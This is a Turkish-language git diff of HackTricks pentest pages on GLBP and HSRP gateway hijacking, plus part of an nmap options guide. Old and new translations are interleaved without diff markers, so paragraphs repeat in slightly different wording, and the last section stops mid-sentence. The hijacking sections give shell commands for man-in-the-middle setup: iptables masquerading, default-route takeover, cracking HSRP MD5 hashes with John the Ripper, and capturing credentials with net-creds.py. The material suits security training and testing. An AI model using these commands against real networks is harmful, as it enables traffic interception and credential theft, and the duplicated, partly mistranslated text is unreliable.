{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,60 +1,63 @@
# GLBP & HSRP Saldırıları
# GLBP ve HSRP Saldırıları
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>öğrenin!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
## FHRP Hijacking Genel Bakış
{% embed url="https://websec.nl/" %}
## FHRP Kaçırma Genel Bakış
### FHRP Hakkında Bilgiler
FHRP, birden fazla yönlendiriciyi tek bir sanal birimde birleştirerek ağın sağlamlığını sağlamak için tasarlanmıştır, böylece yük dağıtımını ve hata tolere edebilirliği artırır. Cisco Systems, bu pakette GLBP ve HSRP gibi önde gelen protokoller tanıttı.
FHRP, birden fazla yönlendiriciyi tek bir sanal birimde birleştirerek ağın sağlamlığını sağlamayı amaçlayan bir protokol grubudur, böylece yük dağıtımı ve hata toleransı artırılır. Cisco Systems, bu pakette GLBP ve HSRP gibi önde gelen protokoller tanıttı.
### GLBP Protokolü Hakkında Bilgiler
Cisco'nun yaratımı olan GLBP, TCP/IP yığınında çalışır ve iletişim için UDP'yi 3222 numaralı bağlantı noktasında kullanır. GLBP grubundaki yönlendiriciler, 3 saniye aralıklarla "hello" paketleri alışverişi yapar. Bir yönlendirici bu paketleri 10 saniye boyunca göndermezse, çevrimdışı olduğu varsayılır. Bununla birlikte, bu zamanlayıcılar sabit değildir ve değiştirilebilir.
Cisco'nun yarattığı GLBP, TCP/IP yığınında çalışır ve iletişim için UDP'yi 3222 numaralı portta kullanır. GLBP grubundaki yönlendiriciler 3 saniyelik aralıklarla "hello" paketleri alışverişi yaparlar. Bir yönlendirici bu paketleri 10 saniye boyunca göndermezse çevrimdışı olarak kabul edilir. Bununla birlikte, bu zamanlayıcılar sabit değildir ve değiştirilebilir.
### GLBP İşlemleri ve Yük Dağıtımı
GLBP, tek bir sanal IP ile birden fazla sanal MAC adresi kullanarak yönlendiriciler arasında yük dağıtımını sağlayarak öne çıkar. Bir GLBP grubunda, her yönlendirici paket iletimine dahil olur. HSRP/VRRP'nin aksine, GLBP birkaç mekanizma aracılığıyla gerçek yük dengelemesi sunar:
GLBP, tek bir sanal IP ile birleştirilmiş birden fazla sanal MAC adresi kullanarak yönlendiriciler arasında yük dağıtımını sağlayarak öne çıkar. Bir GLBP grubunda, her yönlendirici paket iletimine dahil olur. HSRP/VRRP'nin aksine, GLBP şu mekanizmalar aracılığıyla gerçek yük dengelemesi sunar:
- **Ana Bilgisayara Bağımlı Yük Dengelemesi:** Bir ana bilgisayara sürekli AVF MAC adresi atamasını sağlar, istikrarlı NAT yapılandırmaları için önemlidir.
- **Round-Robin Yük Dengelemesi:** Varsayılan yaklaşım, isteyen ana bilgisayarlara yönelik AVF MAC adresi atamasını sırayla yapar.
- **Ağırlıklı Round-Robin Yük Dengelemesi:** Önceden belirlenmiş "Ağırlık" metriklerine dayanarak yükü dağıtır.
- **Ana Bilgisayara Bağımlı Yük Dengeleme:** Bir ana bilgisayara sürekli AVF MAC adresi atamasını korur, istikrarlı NAT yapılandırmaları için önemlidir.
- **Round-Robin Yük Dengeleme:** Varsayılan yaklaşım, isteyen ana bilgisayarlara AVF MAC adresi atamasını sırayla değiştirir.
- **Ağırlıklı Round-Robin Yük Dengeleme:** Önceden belirlenmiş "Ağırlık" metriklerine dayalı olarak yükü dağıtır.
### GLBP'deki Ana Bileşenler ve Terimler
- **AVG (Aktif Sanal Ağ Geçidi):** MAC adreslerini eş yönlendiricilere atama sorumluluğu olan ana yönlendirici.
- **AVF (Aktif Sanal İletici):** Ağ trafiğini yönetmek için belirlenen bir yönlendirici.
### GLBP'de Ana Bileşenler ve Terimler
- **AVG (Aktif Sanal Ağ Geçidi):** MAC adreslerini eş yönlendiricilere atamaktan sorumlu ana yönlendirici.
- **AVF (Aktif Sanal Yönlendirici):** Ağ trafiğini yönetmek için belirlenen bir yönlendirici.
- **GLBP Önceliği:** AVG'yi belirleyen bir metrik, varsayılan olarak 100'den başlar ve 1 ile 255 arasında değişir.
- **GLBP Ağırlığı:** Bir yönlendiricideki mevcut yükü yansıtır, manuel olarak veya Nesne İzleme aracılığıyla ayarlanabilir.
- **GLBP Sanal IP Adresi:** Bağlı tüm cihazlar için ağın varsayılan ağ geçidi olarak hizmet verir.
GLBP, etkileşimler için ayrılmış çoklu yayın adresi 224.0.0.102 ve UDP bağlantı noktası 3222'yi kullanır. Yönlendiriciler "hello" paketlerini 3 saniye aralıklarla ileterek, bir paket 10 saniye boyunca kaçırılırsa işlevsiz kabul edilir.
Etkileşimler için GLBP, ayrılmış 224.0.0.102 çoklu yayın adresini ve UDP portunu 3222 kullanır. Yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri gönderir ve bir paket 10 saniyelik bir süre içinde kaçırılırsa işlevsiz kabul edilir.
### GLBP Saldırı Mekanizması
Bir saldırgan, GLBP paketi göndererek en yüksek öncelik değeri (255) ile birincil yönlendirici olabilir. Bu, trafik yakalama veya yönlendirme izni veren DoS veya MITM saldırılarına yol açabilir.
Bir saldırgan, en yüksek öncelik değerine (255) sahip bir GLBP paketi göndererek ana yönlendirici haline gelebilir. Bu, trafik yakalama veya yönlendirme izni veren DoS veya MITM saldırılarına yol açabilir.
### Loki ile GLBP Saldırısı Gerçekleştirme
[Loki](https://github.com/raizo62/loki_on_kali), öncelik ve ağırlık değeri 255 olarak ayarlanmış bir paket enjekte ederek bir GLBP saldırısı gerçekleştirebilir. Saldırı öncesi adımlar, Wireshark gibi araçlar kullanarak sanal IP adresi, kimlik doğrulama varlığı ve yönlendirici öncelik değerleri gibi bilgileri toplamayı içerir.
[Loki](https://github.com/raizo62/loki_on_kali), öncelik ve ağırlığı 255'e ayarlanmış bir paket enjekte ederek bir GLBP saldırısı gerçekleştirebilir. Saldırı öncesi adımlar, Wireshark gibi araçlar kullanarak sanal IP adresini, kimlik doğrulama varlığını ve yönlendirici öncelik değerlerini toplamayı içerir.
Saldırı Adımları:
1. Promisküs moduna geçin ve IP yönlendirmeyi etkinleştirin.
2. Hedef yönlendiriciyi belirleyin ve IP'sini alın.
3. Bir Gratuitous ARP oluşturun.
4. AVG'yi taklit eden kötü niyetli bir GLBP paketi enjekte edin.
5. Saldırganın ağ arayüzüne GLBP sanal IP'sini yansıtan ikincil bir IP adresi atayın.
1. Promiskü moduna geçin ve IP yönlendirmeyi etkinleştirin.
2. Hedef yönlendiriciyi tanımlayın ve IP'sini alın.
3. Bir İsteksiz ARP oluşturun.
4. AVG'yi taklit eden kötü amaçlı bir GLBP paketi enjekte edin.
5. Saldırganın ağ arabirimine GLBP sanal IP'sini yansıtan ikincil bir IP adresi atayın.
6. Tam trafik görünürlüğü için SNAT uygulayın.
7. İnternet erişimini orijinal AVG yönlendiricisi üzerinden devam ettirmek için yönlendirmeyi ayarlayın.
Bu adımları takip ederek, saldırgan kendisini ağ trafiğini, şifrelenmemiş veya hassas verileri de içeren bir "orta adam" olarak konumlandırır ve analiz edebilir.
Bu adımları takip ederek, saldırgan kendisini ağ trafiğini, şifrelenmemiş veya hassas verileri içeren bir "adam ortasında" konumlandırabilir ve analiz edebilir.
Demonstrasyon için gereken komut parçaları aşağıda verilmiştir:
```bash
@ -70,34 +73,19 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
### HSRP Hijacking ile İlgili Pasif Açıklama ve Komut Detayları
### HSRP Saldırı Mekanizması
HSRP saldırıları, En Yüksek Öncelik değeri enjekte edilerek Aktif Yönlendirici'nin rolünü zorla ele geçirmeyi içerir. Bu, Man-In-The-Middle (MITM) saldırısına yol açabilir. Temel saldırı öncesi adımlar arasında HSRP kurulumu hakkında veri toplamak bulunur, bu da trafiği analiz etmek için Wireshark kullanılarak yapılabilir.
#### HSRP'nin Genel Bakışı (Hot Standby Router/Redundancy Protocol)
HSRP, ağ geçidi yedekliliği için tasarlanmış Cisco'ya ait bir protokoldür. Birden fazla fiziksel yönlendiriciyi paylaşılan bir IP adresine sahip tek bir mantıksal birim olarak yapılandırmayı sağlar. Bu mantıksal birim, trafiği yönlendiren birincil bir yönlendirici tarafından yönetilir. Yük dengelemesi için öncelik ve ağırlık gibi metrikler kullanan GLBP'nin aksine, HSRP trafiği yönetmek için tek bir etkin yönlendiriciye dayanır.
#### HSRP'deki Roller ve Terimler
- **HSRP Etkin Yönlendirici**: Trafik akışını yöneten ağ geçidi olarak hareket eden cihaz.
- **HSRP Bekleme Yönlendirici**: Etkin yönlendirici başarısız olduğunda devralmaya hazır olan yedek yönlendirici.
- **HSRP Grubu**: Tek bir dayanıklı sanal yönlendirici oluşturmak için işbirliği yapan yönlendiricilerin bir kümesi.
- **HSRP MAC Adresi**: HSRP yapılandırmasındaki mantıksal yönlendiriciye atanan sanal MAC adresi.
- **HSRP Sanal IP Adresi**: HSRP grubunun sanal IP adresi, bağlı cihazlar için varsayılan ağ geçidi olarak hareket eder.
#### HSRP Sürümleri
HSRP iki sürümde gelir, HSRPv1 ve HSRPv2, grup kapasitesi, çoklu yayın IP kullanımı ve sanal MAC adresi yapısı gibi farklılıklar gösterir. Protokol, hizmet bilgileri alışverişi için belirli çoklu yayın IP adreslerini kullanır ve Hello paketleri her 3 saniyede bir gönderilir. Bir yönlendiriciye 10 saniye içinde hiç paket alınmazsa etkin olmadığı varsayılır.
#### HSRP Saldırı Mekanizması
HSRP saldırıları, en yüksek öncelik değerini enjekte ederek Etkin Yönlendirici'nin rolünü zorla ele geçirmeyi içerir. Bu, Man-In-The-Middle (MITM) saldırısına yol açabilir. Ön saldırı adımları arasında HSRP yapılandırması hakkında veri toplamak yer alır ve bunu trafik analizi için Wireshark kullanarak yapabilirsiniz.
#### HSRP Kimlik Doğrulamasını Geçme Adımları
#### HSRP Kimlik Doğrulamasını Atlayan Adımlar
1. HSRP verilerini içeren ağ trafiğini .pcap dosyası olarak kaydedin.
```shell
tcpdump -w hsrp_traffic.pcap
```
2. hsrp2john.py kullanarak .pcap dosyasından MD5 karma değerlerini çıkarın.
2. .pcap dosyasından MD5 karmaşalarını hsrp2john.py kullanarak çıkarın.
```shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
```
3. John the Ripper kullanarak MD5 karma değerlerini kırın.
3. John the Ripper kullanarak MD5 karmaşalarını kırın.
```shell
john --wordlist=mywordlist.txt hsrp_hashes
```
@ -105,44 +93,25 @@ john --wordlist=mywordlist.txt hsrp_hashes
**Loki ile HSRP Enjeksiyonu Gerçekleştirme**
1. HSRP reklamlarını tanımlamak için Loki'yi başlatın.
2. Ağ arayüzünü promiscuous moduna ve IP yönlendirmeyi etkinleştirin.
2. Ağ arayüzünü promiscuous moduna ayarlayın ve IP yönlendirmeyi etkinleştirin.
```shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
```
3. Loki'yi kullanarak belirli yönlendiriciyi hedefleyin, kırılmış HSRP şifresini girin ve Etkin Yönlendirici'yi taklit etmek için gerekli yapılandırmaları yapın.
4. Etkin Yönlendirici rolünü aldıktan sonra, ağ arayüzünü ve IP tablolarınızı meşru trafiği yakalamak için yapılandırın.
3. Loki'yi belirli yönlendiriciyi hedeflemek, kırılmış HSRP şifresini girmek ve Aktif Yönlendirici'yi taklit etmek için gerekli yapılandırmaları yapmak için kullanın.
4. Aktif Yönlendirici rolünü aldıktan sonra, ağ arayüzünü ve IP tablolarını yapılandırarak meşru trafiği engelleyin.
```shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
5. Trafik yönlendirmesini eski Etkin Yönlendirici üzerinden yönlendirmek için yönlendirme tablosunu değiştirin.
5. Trafik yönlendirmek için yönlendirme tablosunu değiştirin.
```shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
6. Yakalanan trafiğe net-creds.py veya benzer bir araç kullanarak kimlik bilgilerini yakalayın.
6. Yakalanan trafiğe net-creds.py veya benzer bir yardımcı programı kullanarak kimlik bilgilerini yakalayın.
```shell
sudo python2 net-creds.py -i eth0
```
Bu adımları uygulamak, GLBP ele geçirme işlemi için yapılan işlemlere benzer şekilde saldırganı trafiği yakalamak ve manipüle etmek için bir konuma yerleştirir. Bu, HSRP gibi yedeklilik protokollerindeki zayıflığı ve sağlam güvenlik önlemlerine olan ihtiyacı vurgular.
## Kaynaklar
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da** takip edin.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
Bu adımları uygulamak, saldırganı GLBP ele geçirmesi için yapılan işleme benzer bir şekilde trafiği engellemek ve manipüle etmek için bir konuma yerleştirir. Bu, HSRP gibi yedeklilik protokollerindeki zafiyeti ve sağlam güvenlik önlemlerine olan ihtiyacı vurgular.

View file

@ -2,82 +2,102 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
```
## Parametreler
### Tarama yapılacak IP'ler
### Taranacak IP'ler
* **`<ip>,<net/mask>`:** IP'leri doğrudan belirtir
* **`-iL <ips_file>`:** IP'leri içeren bir dosya
* **`-iR <number>`**: Rastgele IP sayısı, `--exclude <Ips>` veya `--excludefile <file>` ile olası IP'leri hariç tutabilirsiniz.
* **`-iL <ips_file>`:** list\_IPs
* **`-iR <number>`**: Rastgele IP'lerin sayısı, olası IP'leri `--exclude <Ips>` veya `--excludefile <file>` ile hariç tutabilirsiniz.
### Ekipman keşfi
Nmap varsayılan olarak `-PA80 -PS443 -PE -PP` olmak üzere bir keşif aşaması başlatır.
Nmap varsayılan olarak şunlardan oluşan bir keşif aşaması başlatır: `-PA80 -PS443 -PE -PP`
* **`-sL`**: İstilacı değildir, hedefleri listeler ve isimleri çözmek için **DNS** istekleri yapar. Örneğin www.prueba.es/24 gibi bir hedefte tüm IP'lerin hedeflerimiz olup olmadığını bilmek için kullanışlıdır.
* **`-Pn`**: **Ping yok**. Tüm IP'lerin aktif olduğunu bildiğinizde (aksi takdirde çok zaman kaybedebilirsiniz, ancak bu seçenek aynı zamanda yanlış negatif sonuçlar da üretebilir), keşif aşamasını engeller.
* **`-sn`** : **Port taraması yok**. Keşif aşamasını tamamladıktan sonra port taraması yapmaz. Nispeten gizli bir şekilde çalışır ve küçük bir ağ taramasına izin verir. Yetkilerle 80'e bir ACK (-PA), 443'e bir SYN(-PS) ve bir echo isteği ve bir zaman damgası isteği gönderir, yetkisiz olarak her zaman bağlantıları tamamlar. Hedef ağ ise sadece ARP(-PR) kullanır. Başka bir seçenekle kullanıldığında, yalnızca diğer seçeneğin paketleri atılır.
* **`-PR`**: **Ping ARP**. Kendi ağımızdaki bilgisayarları analiz ederken varsayılan olarak kullanılır, ping kullanmaktan daha hızlıdır. ARP paketleri kullanmak istemiyorsanız `--send-ip` kullanın.
* **`-PS <ports>`**: SYN paketleri gönderir, eğer SYN/ACK ile yanıtlarsa açıktır (bağlantıyı sonlandırmamak için RST ile yanıtlar), eğer RST ile yanıtlarsa kapalıdır ve yanıt vermezse ulaşılamazdır. Yetkileri yoksa, otomatik olarak bir tam bağlantı kullanılır. Eğer portlar belirtilmezse, 80'e gönderir.
* **`-PA <ports>`**: Öncekiyle aynıdır, ancak ACK ile birlikte kullanılır, ikisinin birleşimi daha iyi sonuçlar verir.
* **`-PU <ports>`**: Aksine, kapatılmış olması beklenen portlara gönderilir. Bazı güvenlik duvarları yalnızca TCP bağlantılarını kontrol eder. Eğer kapalıysa port unreachable ile yanıt verilir, başka bir icmp ile yanıt verilirse veya yanıt verilmezse hedefe ulaşılamaz olarak bırakılır.
* **`-PE, -PP, -PM`** : ICMP PING'ler: echo replay, timestamp ve addresmask. Hedefin aktif olup olmadığını belirlemek için gönderilir.
* **`-PY<ports>`**: Varsayılan olarak 80'e SCTP INIT probeleri gönderir, INIT-ACK(açık) veya ABORT(kapalı) veya hiçbir şey veya ICMP unreachable(pasif) yanıtlanabilir.
* **`-PO <protocols>`**: Başlıkta bir protokol belirtilir, varsayılan olarak 1(ICMP), 2(IGMP) ve 4(Encap IP). ICMP, IGMP, TCP (6) ve UDP (17) protokolleri için protokol başlıkları gönderilir, geri kalanlar için yalnızca IP başlığı gönderilir. Amacı, başlıkların bozukluğu nedeniyle, Protokol unreachable veya aynı protokolün yanıtlarıyla yanıt verilmesidir, böylece hedefin aktif olup olmadığı anlaşılır.
* **`-sL`**: İstilacı değildir, hedefleri listeler ve isimleri çözmek için **DNS** istekleri yapar. Örneğin www.prueba.es/24 gibi tüm IP'lerin hedeflerimiz olup olmadığını bilmek için faydalıdır.
* **`-Pn`**: **Ping yok**. Tümünün aktif olduğunu biliyorsanız (aksi halde çok zaman kaybedebilirsiniz, ancak bu seçenek aynı zamanda yanlış negatifler üretir ve aktif olmadıklarını söyler), keşif aşamasını engeller.
* **`-sn`** : **Port taraması yok**. Keşif aşamasını tamamladıktan sonra port taraması yapmaz. Nispeten gizli bir taramadır ve küçük bir ağ taramasına izin verir. Yetkilerle 80'e bir ACK (-PA), 443'e bir SYN(-PS) ve bir echo isteği ile bir Zaman damgası isteği gönderir, yetkiler olmadan her zaman bağlantıları tamamlar. Hedef ağ ise yalnızca ARP(-PR) kullanır. Başka bir seçenekle kullanıldığında, yalnızca diğer seçeneğin paketleri bırakılır.
* **`-PR`**: **Ping ARP**. Ağımızdaki bilgisayarları analiz ederken varsayılan olarak kullanılır, ping'leri kullanmaktan daha hızlıdır. ARP paketleri kullanmak istemiyorsanız `--send-ip` kullanın.
* **`-PS <ports>`**: Eğer SYN/ACK ile yanıtlarsa açıktır (bağlantıyı sonlandırmamak için RST ile yanıtlarsa), eğer RST ile yanıtlarsa kapalıdır ve yanıt vermezse ulaşılamazdır. Yetkileriniz yoksa, otomatik olarak bir toplam bağlantı kullanılır. Eğer portlar belirtilmemişse, 80'e gönderilir.
* **`-PA <ports>`**: Bir öncekiyle aynıdır ancak ACK ile, ikisini birleştirmek daha iyi sonuçlar verir.
* **`-PU <ports>`**: Amaçları zıttır, kapatılmış olması beklenen portlara gönderilir. Bazı güvenlik duvarları yalnızca TCP bağlantılarını kontrol eder. Eğer kapalıysa port ulaşılamaz yanıtı verilir, başka bir icmp ile yanıtlanırsa veya yanıt verilmezse hedef ulaşılamaz olarak bırakılır.
* **`-PE, -PP, -PM`** : ICMP PING'ler: echo replay, zaman damgası ve adres maskesi. Hedefin aktif olup olmadığını öğrenmek için gönderilir.
* **`-PY<ports>`**: Varsayılan olarak 80'e SCTP INIT probeleri gönderir, INIT-ACK(açık) veya ABORT(kapalı) veya hiçbir şey veya ICMP ulaşılamaz(inaktif) yanıtı alabilir.
* **`-PO <protocols>`**: Başlıkta bir protokol belirtilir, varsayılan olarak 1(ICMP), 2(IGMP) ve 4(Encap IP). ICMP, IGMP, TCP (6) ve UDP (17) protokolleri için protokol başlıkları gönderilir, geri kalanlar için yalnızca IP başlığı gönderilir. Amacı, başlıkların bozulmasından dolayı, Protokol ulaşılamaz veya aynı protokolün yanıtları alınarak yukarıda olup olmadığını bilmektir.
* **`-n`**: DNS yok
* **`-R`**: Her zaman DNS
### Port tarama teknikleri
* **`-sS`**: Bağlantıyı tamamlamaz, bu nedenle iz bırakmaz, kullanılabilirse çok iyidir (yetkilerle). Varsayılan olarak kullanılır.
* **`-sT`**: Bağlantıyı tamamlar, bu nedenle iz bırakır, ancak kesin olarak kullanılabilir. Varsayılan olarak yetkisiz.
* **`-sU`**: Daha yavaş, UDP için kullanılır. Genellikle: DNS(53), SNMP(161,162), DHCP(67 ve 68), (-sU53,161,162,67,68): açık(yanıt), kapalı(port unreachable), filtrelenmiş (başka bir ICMP), açık/filtrelenmiş (hiçbir şey). Açık/filtrelenmiş durumunda, -sV, nmap'in desteklediği sürümlerden herhangi birini tespit etmek için birçok istek gönderir ve gerçek durumu tespit edebilir. Bu süreyi çok artırır.
* **`-sY`**: SCTP protokolü bağlantıyı kuramaz, bu nedenle kayıtlar yoktur, -PY gibi çalışır
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, bazı güvenlik duvarlarını aşabilir ve bilgi çıkarabilir. Standart uyumlu makinelerin SYN, RST veya ACK bayrakları içermeyen isteklere RST ile yanıt vermesi gerektiği varsayımına dayanırlar: açık/filtrelenmiş(hiçbir şey), kapalı(RST), filtrelenmiş (ICMP unreachable). Windows, CIsco, BSDI ve OS/400 üzerinde güvenilir değildir. Unix üzerinde evet.
* **`-sM`**: Maimon taraması: FIN ve ACK bayrakları gönderir, BSD için kullanılır, şu anda tümünü kapalı olarak döndürür.
* **`-sA, sW`**: ACK ve Window, güvenlik duvarlarını tespit etmek için kullanılır, portların filtrelenip filtrelenmediğini bilmek için. -sW, açık/kapalı arasında ayrım yapar çünkü açık olanlar farklı bir pencere değeriyle yanıt verir: açık (pencere değeri 0 olmayan RST), kapalı (RST pencere = 0), filtrelenmiş (ICMP unreachable veya hiçbir şey). Tüm bilgisayarlar bu şekilde çalışmadığından, eğer hepsi kapalıysa, çalışmıyor demektir, birkaç tanesi açıksa, düzgün çalışıyor demektir ve birçok açık ve az kapalı varsa, ters yönde çalışıyor demektir.
* **`-sI`:** Idle tarama. Etkin bir güvenlik duvarı olduğu ancak belirli bir IP'yi filtrelemediğimizi biliyorsak (veya sadece anonimlik istediğimizde) zombi tarayıcıyı kullanabiliriz (tüm portlar için çalışır), olası zombileri bulmak için ipidseq betiğini veya exploit auxiliary
**--osscan-guess** Bu seçenek, işletim sistemi tespiti tam olarak yapılamadığında daha fazla çaba harcar.
* **`-sS`**: Bağlantıyı tamamlamaz, bu nedenle iz bırakmaz, kullanılabilirse çok iyidir.(yetkiler) Varsayılan olarak kullanılan budur.
